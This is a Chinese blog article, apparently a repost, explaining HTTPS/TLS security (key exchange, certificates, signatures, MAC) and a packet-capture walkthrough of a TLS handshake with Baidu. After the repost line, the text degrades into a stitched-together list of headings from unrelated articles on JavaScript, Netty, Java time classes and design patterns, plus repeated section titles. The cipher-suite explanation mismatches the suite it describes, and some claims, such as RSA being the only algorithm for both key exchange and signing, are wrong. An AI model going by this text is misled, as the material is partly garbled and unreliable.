在非对称密钥交换算法出现以前，对称加密的最主要缺陷就是不知道如何在通信双方之间传输对称密钥，而又不让中间人窃取。非对称密钥交换算法诞生之后，专门针对对称密钥传输做加解密，使得对称密钥的交互传输变得非常安全了。

非对称密钥交换算法本身非常复杂，密钥交换过程涉及到随机数生成，模指数运算，空白补齐，加密，签名等等一系列极其复杂的过程，作者本人也没有研究完全透彻。常见的密钥交换算法有RSA，ECDHE，DH，DHE等算法。涉及到比较复杂的数学问题。其中，最经典也是最常用的是RSA算法。

RSA：诞生于1977年，经过了长时间的破解测试，算法安全性很高，最重要的是，算法实现非常简单。缺点就是需要比较大的质数（目前常用的是2048位）来保证安全强度，极其消耗CPU运算资源。RSA是目前唯一一个既能用于密钥交换又能用于证书签名的算法，RSA 是最经典，同时也是最常用的是非对称加解密算法。

3.2.1 非对称加密相比对称加密更加安全，但也存在两个致命的缺点：

（1）CPU计算资源消耗非常大。一次完全TLS握手，密钥交换时的非对称解密计算量占整个握手过程的90%以上。而对称加密的计算量只相当于非对称加密的0.1%。如果后续的应用层数据传输过程也使用非对称加解密，那么CPU性能开销太庞大，服务器是根本无法承受的。赛门特克给出的实验数据显示，加解密同等数量的文件，非对称算法消耗的CPU资源是对称算法的1000倍以上。

（2）非对称加密算法对加密内容的长度有限制，不能超过公钥长度。比如现在常用的公钥长度是2048位，意味着待加密内容不能超过256个字节。

所以非对称加解密（极端消耗CPU资源）目前只能用来作对称密钥交换或者CA签名，不适合用来做应用层内容传输的加解密。

3.3 身份认证

https协议中身份认证的部分是由CA数字证书完成的，证书由公钥、证书主体、数字签名等内容组成。在客户端发起SSL请求后，服务端会将数字证书发给客户端，客户端会对证书进行验证（验证这张证书是否是伪造的？也就是公钥是否是伪造的），如果证书不是伪造的，客户端就获取用于对称密钥交换的非对称密钥（获取公钥）。

3.3.1 数字证书有三个作用：

1、身份授权。确保浏览器访问的网站是经过CA验证的可信任的网站。

2、分发公钥。每个数字证书都包含了注册者生成的公钥（验证确保是合法的，非伪造的公钥）。在SSL握手时会通过certificate消息传输给客户端。

3、验证证书合法性。客户端接收到数字证书后，会对证书合法性进行验证。只有验证通过后的证书，才能够进行后续通信过程。

3.3.2 申请一个受信任的CA数字证书通常有如下流程：

（1）公司（实体）的服务器生成公钥和私钥，以及CA数字证书请求。

（2）RA（证书注册及审核机构）检查实体的合法性（在注册系统里面是否注册过的正规公司）。

（3）CA（证书签发机构）签发证书，发送给申请者实体。

（4）证书更新到repository（负责数字证书及CRL内容存储和分发），实体终端后续从repository更新证书，查询证书状态等。

3.4 数字证书验证

申请者拿到CA的证书并部署在网站服务器端，那浏览器发起握手并接收到证书后，如何确认这个证书就是CA签发的呢？怎样避免第三方伪造这个证书？答案就是数字签名（digital signature）。数字签名是证书的防伪标签，目前使用最广泛的SHA-RSA（SHA用于哈希算法，RSA用于非对称加密算法）。数字签名的制作和验证过程如下：

1、数字签名的签发。首先是使用哈希函数对待签名内容进行安全哈希，生成消息摘要，然后使用CA自己的私钥对消息摘要进行加密。

2、数字签名的校验。使用CA的公钥解密签名，然后使用相同的签名函数对签名证书内容进行签名，并和服务端数字签名里的签名内容进行比较，如果相同就认为校验成功。

需要注意的是：

（1）数字签名签发和校验使用的非对称密钥是CA自己的公钥和私钥，跟证书申请者（提交证书申请的公司实体）提交的公钥没有任何关系。

（2）数字签名的签发过程跟公钥加密的过程刚好相反，即是用私钥加密，公钥解密。（一对公钥和私钥，公钥加密的内容只有私钥能够解密；反过来，私钥加密的内容，也就有公钥才能够解密）

（3）现在大的CA都会有证书链，证书链的好处：首先是安全，保持CA的私钥离线使用。第二个好处是方便部署和撤销。这里为啥要撤销呢？因为，如果CA数字证书出现问题（被篡改或者污染），只需要撤销相应级别的证书，根证书依然是安全的。

（4）根CA证书都是自签名，即用自己的公钥和私钥完成了签名的制作和验证。而证书链上的证书签名都是使用上一级证书的非对称密钥进行签名和验证的。

（5）怎样获取根CA和多级CA的密钥对？还有，既然是自签名和自认证，那么它们是否安全可信？这里的答案是：当然可信，因为这些厂商跟浏览器和操作系统都有合作，它们的根公钥都默认装到了浏览器或者操作系统环境里。

3.5 数据完整性验证

数据传输过程中的完整性使用MAC算法来保证。为了避免网络中传输的数据被非法篡改，或者数据比特被污染，SSL利用基于MD5或SHA的MAC算法来保证消息的完整性（由于MD5在实际应用中存在冲突的可能性比较大，所以尽量别采用MD5来验证内容一致性）。 MAC算法是在密钥参与下的数据摘要算法，能将密钥和任意长度的数据转换为固定长度的数据。发送者在密钥的作用下，利用MAC算法计算出消息的MAC值，并将其添加在需要发送的消息之后，并发送给接收者。接收者利用同样的密钥和MAC算法计算出消息的MAC值，并与接收到的MAC值比较。如果二者相同，则报文没有改变；否则，报文在传输过程中被修改或者污染，接收者将丢弃该报文。 SHA也不能使用SHA0和SHA1，山东大学的王小云教授（很牛的一个女教授，大家有兴趣可以上网搜索一下她的事迹）在2005年就宣布破解了 SHA-1完整版算法，并获得了业内专家的认可。微软和google都已经宣布16年及17年之后不再支持sha1签名证书。

专题二：实际抓包分析

本文对百度搜索进行了两次抓包，第一次抓包之前清理了浏览器的所有缓存；第二次抓包是在第一次抓包后的半分钟内。

百度在2015年已经完成了百度搜索的全站https，这在国内https发展中具有重大的意义（目前BAT三大家中，只有百度宣称自己完成了全站HTTPS）。所以这篇文章就以www.baidu.com为例进行分析。

同时，作者采用的是chrome浏览器，chrome支持SNI （server Name Indication）特性，对于HTTPS性能优化有很大的用处。

注：SNI是为了解决一个服务器使用多个域名和证书的SSL/TLS扩展。一句话简述它的工作原理就是：在和服务器建立SSL连接之前，先发送要访问的域名（hostname），这样服务器根据这个域名返回一个合适的证书。目前，大多数操作系统和浏览器都已经很好地支持SNI扩展，OpenSSL 0.9.8已经内置这一功能，新版的nginx和apache也支持SNI扩展特性。

本文抓包访问的URL为：http://www.baidu.com/

（如果是https://www.baidu.com/，则以下结果不一样！）

抓包结果：

可以看到，百度采用以下策略：

（1）对于高版本浏览器，如果支持 https，且加解密算法在TLS1.0 以上的，都将所有 http请求重定向到 https请求

（2）对于https请求，则不变。

【详细解析过程】

1、TCP三次握手

可以看到，我的电脑访问的是http://www.baidu.com/，在初次建立三次握手的时候，客户端是去连接 8080端口的（我所在小区网络总出口做了一层总代理，因此，客户端实际和代理机做的三次握手，代理机再帮客户端去连接百度服务器）

2、tunnel建立

由于小区网关设置了代理访问，因此，在进行https访问的时候，客户端需要和代理机做”HTTPS CONNECT tunnel” 连接（关于”HTTPS CONNECT tunnel”连接，可以理解为：虽然后续的https请求都是代理机和百度服务器进行公私钥连接和对称密钥交换，以及数据通信；但是，有了隧道连接之后，可以认为客户端也在直接和百度服务器进行通信。）

fiddler抓包结果：

3、client hello

3.1 随机数

在客户端问候中，有四个字节以Unix时间格式记录了客户端的协调世界时间（UTC）。协调世界时间是从1970年1月1日开始到当前时刻所经历的秒数。在这个例子中，0x2516b84b就是协调世界时间。在他后面有28字节的随机数（random_C），在后面的过程中我们会用到这个随机数。

3.2 SID（Session ID）

如果出于某种原因，对话中断，就需要重新握手。为了避免重新握手而造成的访问效率低下，这时候引入了session ID的概念， session ID的思想很简单，就是每一次对话都有一个编号（session ID）。如果对话中断，下次重连的时候，只要客户端给出这个编号，且服务器有这个编号的记录，双方就可以重新使用已有的“对称密钥”，而不必重新生成一把。

因为我们抓包的时候，是几个小时内第一次访问https://www.baodu.com ，因此，这里并没有Session ID.（稍会儿我们会看到隔了半分钟，第二次抓包就有这个Session ID）

session ID是目前所有浏览器都支持的方法，但是它的缺点在于session ID往往只保留在一台服务器上。所以，如果客户端的请求发到另一台服务器（这是很有可能的，对于同一个域名，当流量很大的时候，往往后台有几十台RS机在提供服务），就无法恢复对话。session ticket就是为了解决这个问题而诞生的，目前只有Firefox和Chrome浏览器支持。

3.3 密文族（Cipher Suites）

RFC2246中建议了很多中组合，一般写法是”密钥交换算法-对称加密算法-哈希算法，以“TLS_RSA_WITH_AES_256_CBC_SHA”为例：

（a）TLS为协议，RSA为密钥交换的算法；

（b）AES_256_CBC是对称加密算法（其中256是密钥长度，CBC是分组方式）；

（c）SHA是哈希的算法。

浏览器支持的加密算法一般会比较多，而服务端会根据自身的业务情况选择比较适合的加密组合发给客户端。（比如综合安全性以及速度、性能等因素）

3.4 Server_name扩展（一般浏览器也支持 SNI扩展）

当我们去访问一个站点时，一定是先通过DNS解析出站点对应的ip地址，通过ip地址来访问站点，由于很多时候一个ip地址是给很多的站点公用，因此如果没有server_name这个字段，server是无法给与客户端相应的数字证书的，Server_name扩展则允许服务器对浏览器的请求授予相对应的证书。

服务器回复

（包括Server Hello，Certificate，Certificate Status）

服务器在收到client hello后，会回复三个数据包，下面分别看一下：

4、Server Hello

4.1、我们得到了服务器的以Unix时间格式记录的UTC和28字节的随机数（random_S）。

4.2、Seesion ID，服务端对于session ID一般会有三种选择（稍会儿我们会看到隔了半分钟，第二次抓包就有这个Session ID）：

（1）恢复的session ID：我们之前在client hello里面已经提到，如果client hello里面的session ID在服务端有缓存，服务端会尝试恢复这个session；

（2）新的session ID：这里又分两种情况，第一种是client hello里面的session ID是空值，此时服务端会给客户端一个新的session ID，第二种是client hello里面的session ID此服务器并没有找到对应的缓存，此时也会回一个新的session ID给客户端；

（3）NULL：服务端不希望此session被恢复，因此session ID为空。

4.3、我们记得在client hello里面，客户端给出了多种加密族 Cipher，而在客户端所提供的加密族中，服务端挑选了“TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256”

（a）TLS为协议，RSA为密钥交换的算法；

（b）AES_256_CBC是对称加密算法（其中256是密钥长度，CBC是分组方式）；

（c）SHA是哈希的算法。

这就意味着服务端会使用ECDHE-RSA算法进行密钥交换，通过AES_128_GCM对称加密算法来加密数据，利用SHA256哈希算法来确保数据完整性。

5、Certificate

在前面的https原理研究中，我们知道为了安全的将公钥发给客户端，服务端会把公钥放入数字证书中并发给客户端（数字证书可以自签发，但是一般为了保证安全会有一个专门的CA机构签发），所以这个报文就是数字证书，4097 bytes就是证书的长度。

我们打开这个证书，可以看到证书的具体信息，这个具体信息通过抓包报文的方式不是太直观，可以在浏览器上直接看。（点击chrome浏览器左上方的绿色锁型按钮）

6、Server Hello Done

我们抓的包是将 Server Hello Done 和 server key exchage 合并的包：

7、客户端验证证书真伪性

客户端验证证书的合法性，如果验证通过才会进行后续通信，否则根据错误情况不同做出提示和操作，合法性验证包括如下：

（1）证书链的可信性trusted certificate path，方法如前文所述；

（2）证书是否吊销revocation，有两类方式离线CRL与在线OCSP，不同的客户端行为会不同；

（3）有效期expiry date，证书是否在有效时间范围；

（4）域名domain，核查证书域名是否与当前的访问域名匹配，匹配规则后续分析；

8、秘钥交换

这个过程非常复杂，大概总结一下：

（1）首先，客户端利用CA数字证书实现身份认证，利用非对称加密协商对称密钥。

（2）客户端会向服务器传输一个“pubkey”随机数，服务器收到之后，利用特定算法生成另外一个“pubkey”随机数，客户端利用这两个“pubkey”随机数生成一个 pre-master 随机数。

（3）客户端利用自己在 client hello 里面传输的随机数 random_C，以及收到的 server hello 里面的随机数 random_S，外加 pre-master 随机数，利用对称密钥生成算法生成对称密钥enc_key：enc_key=Fuc(random_C, random_S, Pre-Master)

9、生成session ticket

如果出于某种原因，对话中断，就需要重新握手。为了避免重新握手而造成的访问效率低下，这时候引入了session ID的概念， session ID（以及session ticke）的思想很简单，就是每一次对话都有一个编号（session ID）。如果对话中断，下次重连的时候，只要客户端给出这个编号，且服务器有这个编号的记录，双方就可以重新使用已有的“对话密钥”，而不必重新生成一把。

因为我们抓包的时候，是几个小时内第一次访问 https://www.baodu.com 首页，因此，这里并没有 Session ID.（稍会儿我们会看到隔了半分钟，第二次抓包就有这个Session ID）

session ID是目前所有浏览器都支持的方法，但是它的缺点在于session ID往往只保留在一台服务器上。所以，如果客户端的请求发到另一台服务器，就无法恢复对话。session ticket就是为了解决这个问题而诞生的，目前只有Firefox和Chrome浏览器支持。

后续建立新的https会话，就可以利用 session ID 或者 session Tickets ，对称秘钥可以再次使用，从而免去了 https 公私钥交换、CA认证等等过程，极大地缩短 https 会话连接时间。

10、利用对称秘钥传输数据

三、半分钟后，再次访问百度：

有这些大的不同：

由于服务器和浏览器缓存了 Session ID 和 Session Tickets，不需要再进行公钥证书传递，CA认证，生成对称密钥等过程，直接利用半分钟前的对称密钥加解密数据进行会话。

1、Client Hello

2、Server Hello

本文转载自: 掘金

开发者博客 – 和开发相关的这里全都有

策略模式

定义

场景

结构

推荐搭配

代码实现

前言

new 做了什么

小结1：从这个简单例子来看，new操作符做了两件事：

小结2：从这个例子来看，new操作符又做了一件事：

小结3：这个例子3再一次验证了小结1中的第2点。也就是这个对象会被执行[[Prototype]]（也就是__proto__）链接。并且通过new Student()创建的每个对象将最终被[[Prototype]]链接到这个Student.protytype对象上。

由此得出 小结4：

new 模拟实现

Object.create() 用法举例

最后总结一下：

笔者精选文章

关于

微信公众号 若川视野

结论先行

interrupt()

interrupted() 和 isInterrupted()

什么是 OS 命令注入

Instant

LocalDateTime

Instant 和 LocalDateTime 的互相转换

Netty到底是什么

从HTTP说起

NIO

Reactor线程模型

总结

为什么选择Netty

什么是TCP 粘包/拆包

现象

透过现象分析原因

Netty 的零拷贝

传统意义的拷贝

服务端：

总结

简单的web服务

Windows服务的运行环境

自动注册服务

单个异步任务

多个异步任务

启动器函数

回调函数

run

return Promise

优化

co

ES6 系列

2、https如何保证安全？

所以综合以上三点：非对称加密算法（公钥和私钥）交换对称密钥+数字证书验证身份（验证公钥是否是伪造的）+利用对称密钥加解密后续传输的数据=安全

3.1 对称加密算法

3.2 非对称加密算法

3.2.1 非对称加密相比对称加密更加安全，但也存在两个致命的缺点：

所以非对称加解密（极端消耗CPU资源）目前只能用来作对称密钥交换或者CA签名，不适合用来做应用层内容传输的加解密。

3.3 身份认证

3.3.1 数字证书有三个作用：

3.3.2 申请一个受信任的CA数字证书通常有如下流程：

（1）公司（实体）的服务器生成公钥和私钥，以及CA数字证书请求。

3.4 数字证书验证

3.5 数据完整性验证

1、TCP三次握手

2、tunnel建立

3.1 随机数

3.2 SID（Session ID）

3.3 密文族（Cipher Suites）

3.4 Server_name扩展（一般浏览器也支持 SNI扩展）

服务器回复

（包括Server Hello，Certificate，Certificate Status）

1、Client Hello

小结1：从这个简单例子来看，`new`操作符做了两件事：

小结2：从这个例子来看，`new`操作符又做了一件事：

小结3：这个例子3再一次验证了小结1中的第2点。也就是这个对象会被执行`[[Prototype]]`（也就是`proto`）链接。并且通过`new Student()`创建的每个对象将最终被`[[Prototype]]`链接到这个`Student.protytype`对象上。

由此得出小结4：

微信公众号若川视野